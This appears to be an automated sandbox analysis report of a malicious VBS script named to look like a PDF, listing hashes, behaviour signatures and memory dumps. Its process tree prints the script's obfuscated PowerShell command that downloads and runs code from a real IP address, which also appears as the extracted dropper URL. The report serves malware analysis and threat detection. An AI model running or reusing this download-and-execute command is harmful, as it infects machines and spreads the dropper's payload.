Analysis

  • max time kernel
    300s
  • max time network
    306s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    21-10-2021 21:38

General

  • Target

    183287857-050118-sanlccjavap0004-6561_PDF.vbs

  • Size

    440B

  • MD5

    fd5d9dd54f30ebeda49b3f3d9d57d1c6

  • SHA1

    bdc86ae73f8ea542af15ed6a5643b1a9cfd8ea51

  • SHA256

    75e81b26f76f0050408e59a9d3606e0ee6d474ffa9e2296187f582884fa2f59f

  • SHA512

    60857407aa6143be42149dac675348dcbfaa1a9ed8dd66e66fe936dbabca8dd490d3019573fe940631741047e7edb0b0df9730a33ccaf48aed077e939608b7b9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://202.55.132.106/Bypass3.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\183287857-050118-sanlccjavap0004-6561_PDF.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://202.55.132.106/Bypass3.txt')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1384

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/612-54-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

    Filesize

    8KB

  • memory/1384-55-0x0000000000000000-mapping.dmp

  • memory/1384-57-0x000007FEF26D0000-0x000007FEF322D000-memory.dmp

    Filesize

    11.4MB

  • memory/1384-58-0x00000000024D0000-0x00000000024D2000-memory.dmp

    Filesize

    8KB

  • memory/1384-59-0x00000000024D2000-0x00000000024D4000-memory.dmp

    Filesize

    8KB

  • memory/1384-60-0x00000000024D4000-0x00000000024D7000-memory.dmp

    Filesize

    12KB

  • memory/1384-61-0x00000000024DB000-0x00000000024FA000-memory.dmp

    Filesize

    124KB